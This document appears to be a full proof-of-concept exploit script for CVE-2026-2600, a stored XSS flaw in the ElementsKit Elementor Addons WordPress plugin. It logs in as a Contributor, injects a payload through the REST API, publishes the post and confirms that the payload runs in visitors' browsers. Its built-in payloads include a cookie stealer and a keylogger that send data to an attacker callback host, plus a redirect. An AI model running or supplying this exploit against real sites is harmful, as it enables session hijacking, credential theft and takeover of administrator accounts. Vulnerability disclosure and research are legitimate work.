README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-2600 - Stored XSS in ElementsKit Elementor Addons <= 3.7.9
Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF
Details: Contributor+ can inject arbitrary JavaScript via the WordPress REST API
into the Simple Tab widget's ekit_tab_title field, bypassing Elementor's
client-side sanitization. The payload persists in the database and fires
in every visitor's browser.
Usage:
python poc.py <target> <username> <password> [--callback <url>] [--payload <html>]
python poc.py https://victim.com contributor p4ssw0rd --callback https://attacker.com/steal
"""
import argparse
import json
import re
import sys
import uuid
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Force UTF-8 output on Windows
if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
try:
sys.stdout.reconfigure(encoding='utf-8')
except AttributeError:
pass
# ─── ANSI colours ──────────────────────────────────────────────────────────────
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
DIM= "\033[2m"
RST= "\033[0m"
BOLD="\033[1m"
def banner():
print(f"""
{R} +----------------------------------------------------------+{RST}
{R} | CVE-2026-2600 | ElementsKit Stored XSS PoC |{RST}
{R} +----------------------------------------------------------+{RST}
{Y} | Plugin : ElementsKit Elementor Addons <= 3.7.9 |{RST}
{Y} | Widget : Simple Tab (ekit-tab) |{RST}
{G} | CVSS : 6.4 MEDIUM | Role: Contributor+ |{RST}
{DIM} | Author : Alaaeddine Knani (@iwd) - ODDO BHF |{RST}
{R} +----------------------------------------------------------+{RST}
""")
def log(msg): print(f" {B}[*]{RST} {msg}")
def ok(msg): print(f" {G}[+]{RST} {W}{msg}{RST}")
def warn(msg): print(f" {Y}[!]{RST} {msg}")
def err(msg): print(f" {R}[-]{RST} {msg}"); sys.exit(1)
def info(msg): print(f" {DIM} {msg}{RST}")
# ─── Elementor data builder ────────────────────────────────────────────────────
def build_elementor_data(xss_payload: str) -> list:
"""
Construct a minimal Elementor widget tree containing one ekit-tab widget
with the XSS payload embedded in the tab title (ekit_tab_title).
Structure:
section > column > widget(ekit-tab)
settings.ekit_tab_items[0].ekit_tab_title = <payload>
"""
def uid() -> str:
return uuid.uuid4().hex[:6]
return [
{
"id": uid(),
"elType": "section",
"isInner": False,
"settings": {},
"elements": [
{
"id": uid(),
"elType": "column",
"settings": {"_column_size": 100},
"elements": [
{
"id": uid(),
"elType": "widget",
"widgetType": "elementskit-simple-tab",
"settings": {
"ekit_tab_items": [
{
"_id": uid(),
"ekit_tab_title": xss_payload, # ← injected here
"ekit_tab_content": "<p>Content</p>",
"tab_id": "tab-1",
},
{
"_id": uid(),
"ekit_tab_title": "Tab 2",
"ekit_tab_content": "<p>More content</p>",
"tab_id": "tab-2",
},
],
"ekit_tab_active_index": 0,
},
}
],
}
],
}
]
# ─── Core exploit ──────────────────────────────────────────────────────────────
class CVE_2026_2600:
def __init__(self, target: str, username: str, password: str, verify_ssl: bool = True):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
self.nonce = None
self.post_id = None
# ── Step 1: authenticate ──────────────────────────────────────────────────
def authenticate(self) -> bool:
log(f"Authenticating as {W}{self.username}{RST} ...")
try:
self.session.post(
f"{self.target}/wp-login.php",
data={
"log": self.username,
"pwd": self.password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
},
cookies={"wordpress_test_cookie": "WP+Cookie+check"},
allow_redirects=True,
timeout=20,
)
except requests.RequestException as exc:
err(f"Login request failed: {exc}")
if not any("wordpress_logged_in" in c.name for c in self.session.cookies):
err("Authentication failed - check credentials")
ok("Authenticated successfully")
return True
# ── Step 2: fetch REST nonce ──────────────────────────────────────────────
def get_rest_nonce(self) -> str:
log("Fetching REST API nonce ...")
try:
html = self.session.get(
f"{self.target}/wp-admin/post-new.php", timeout=20
).text
except requests.RequestException as exc:
err(f"Could not load post editor: {exc}")
# Elementor and WP both embed the nonce in the page JS
for pattern in [
r'"nonce"\s*:\s*"([a-f0-9]{10})"',
r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"',
r'"rest_nonce"\s*:\s*"([^"]+)"',
]:
m = re.search(pattern, html)
if m:
self.nonce = m.group(1)
ok(f"REST nonce: {C}{self.nonce}{RST}")
return self.nonce
err("Could not extract REST nonce from page. Is the user authenticated?")
# ── Step 3: create a draft post ───────────────────────────────────────────
def create_post(self, title: str = "Security Research Draft") -> int:
log("Creating a draft post via REST API ...")
try:
r = self.session.post(
f"{self.target}/wp-json/wp/v2/posts",
headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
json={"title": title, "status": "draft", "content": ""},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
err(f"Failed to create post: {exc}")
self.post_id = r.json().get("id")
if not self.post_id:
err("REST API did not return a post ID")
ok(f"Draft post created → ID {Y}{self.post_id}{RST}")
return self.post_id
# ── Step 4: inject the payload ────────────────────────────────────────────
def inject(self, xss_payload: str) -> bool:
log(f"Injecting payload into _elementor_data ...")
info(f"Payload: {R}{xss_payload[:80]}{'...' if len(xss_payload) > 80 else ''}{RST}")
elementor_data = build_elementor_data(xss_payload)
try:
r = self.session.patch(
f"{self.target}/wp-json/wp/v2/posts/{self.post_id}",
headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
json={
"meta": {
"_elementor_data": json.dumps(elementor_data),
"_elementor_edit_mode": "builder",
}
},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
err(f"PATCH request failed: {exc}")
# Verify payload was stored
stored_meta = r.json().get("meta", {})
stored_data_raw = stored_meta.get("_elementor_data", "")
if xss_payload in stored_data_raw or xss_payload.replace('"', '\\"') in stored_data_raw:
ok(f"{G}{BOLD}Payload confirmed in database!{RST}")
else:
warn("Payload not confirmed in response - may still be stored (meta visibility)")
return True
# ── Step 5: publish post ──────────────────────────────────────────────────
def publish(self) -> str:
log("Publishing the post ...")
try:
r = self.session.post(
f"{self.target}/wp-json/wp/v2/posts/{self.post_id}",
headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"},
json={"status": "publish"},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
err(f"Failed to publish post: {exc}")
link = r.json().get("link", f"{self.target}/?p={self.post_id}")
ok(f"Post published → {C}{link}{RST}")
return link
# ── Verify: confirm the raw payload renders in the page source ────────────
def verify(self, url: str, marker: str) -> bool:
log("Verifying payload renders in page source ...")
try:
html = requests.get(url, verify=self.session.verify, timeout=20).text
except requests.RequestException:
warn("Could not fetch published page for verification")
return False
if marker in html:
ok(f"{G}{BOLD}CONFIRMED: XSS payload is live in page source!{RST}")
return True
else:
warn("Marker not found in page - page may require admin approval first")
return False
# ─── Default payloads ──────────────────────────────────────────────────────────
DEFAULT_PAYLOADS = {
"cookie": lambda cb: f'<img src=x onerror="fetch(\'{cb}?c=\'+btoa(document.cookie))">',
"alert": lambda cb: '<img src=x onerror="alert(\'XSS: CVE-2026-2600\')">',
"keylogger": lambda cb: f'<script>document.addEventListener("keypress",e=>new Image().src="{cb}/k?c="+e.key)</script>',
"redirect": lambda cb: f'<script>document.location="{cb}"</script>',
}
# ─── Entry point ───────────────────────────────────────────────────────────────
def main():
banner()
parser = argparse.ArgumentParser(
description="CVE-2026-2600 PoC - ElementsKit Stored XSS via REST API",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
examples:
python poc.py https://victim.com contributor p4ss --callback https://attacker.com
python poc.py https://victim.com editor s3cr3t --type alert
python poc.py https://victim.com contributor p4ss --payload '<script>alert(1)</script>'
python poc.py https://victim.com contributor p4ss --no-publish
""",
)
parser.add_argument("target", help="WordPress site URL (e.g. https://victim.com)")
parser.add_argument("username", help="WordPress username (Contributor role minimum)")
parser.add_argument("password", help="WordPress password")
parser.add_argument("--callback", default="https://attacker.example.com",
help="Callback URL to receive exfiltrated cookies (default: placeholder)")
parser.add_argument("--type", choices=list(DEFAULT_PAYLOADS.keys()), default="cookie",
help="Built-in payload type (default: cookie)")
parser.add_argument("--payload", default=None,
help="Custom raw HTML/JS payload (overrides --type)")
parser.add_argument("--no-publish", action="store_true",
help="Leave post as draft - do not publish")
parser.add_argument("--no-verify-ssl", action="store_true",
help="Disable SSL certificate verification")
parser.add_argument("--title", default="Security Research",
help="Post title (default: 'Security Research')")
args = parser.parse_args()
xss_payload = args.payload if args.payload else DEFAULT_PAYLOADS[args.type](args.callback)
print(f" {DIM}Target : {W}{args.target}{RST}")
print(f" {DIM}User : {W}{args.username}{RST}")
print(f" {DIM}Payload : {R}{xss_payload[:80]}{'...' if len(xss_payload)>80 else ''}{RST}")
print()
exploit = CVE_2026_2600(
target=args.target,
username=args.username,
password=args.password,
verify_ssl=not args.no_verify_ssl,
)
exploit.authenticate()
exploit.get_rest_nonce()
exploit.create_post(title=args.title)
exploit.inject(xss_payload)
if not args.no_publish:
page_url = exploit.publish()
# Use the onerror src or a short unique marker for verification
marker = "onerror" if "onerror" in xss_payload else "script"
exploit.verify(page_url, marker)
else:
warn(f"Post left as draft → {args.target}/wp-admin/post.php?post={exploit.post_id}&action=edit")
print()
print(f" {'─'*60}")
print(f" {G}{BOLD}Done.{RST}")
if not args.no_publish:
print(f" {DIM}Infected URL: {C}{args.target}/?p={exploit.post_id}{RST}")
print(f" {DIM}The payload fires for every visitor - including admins.{RST}")
print(f" {'─'*60}")
print()
if __name__ == "__main__":
main()